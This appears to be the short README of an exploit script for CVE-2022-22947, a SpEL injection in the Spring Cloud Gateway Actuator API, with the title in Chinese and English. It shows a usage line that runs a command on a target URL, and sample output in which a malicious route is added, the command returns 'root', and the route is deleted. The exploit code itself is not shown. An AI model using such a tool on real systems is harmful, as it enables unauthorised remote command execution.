
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp
Spring Cloud Gateway Actuator API SpEL Expression Injection Command Execution Exploit
Usage: python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami" Result: Malicious SpEL expression route added successfully! Route refresh successful! Attack result obtained successfully:
================================================ root
================================================ Malicious route deleted! Route refresh successful!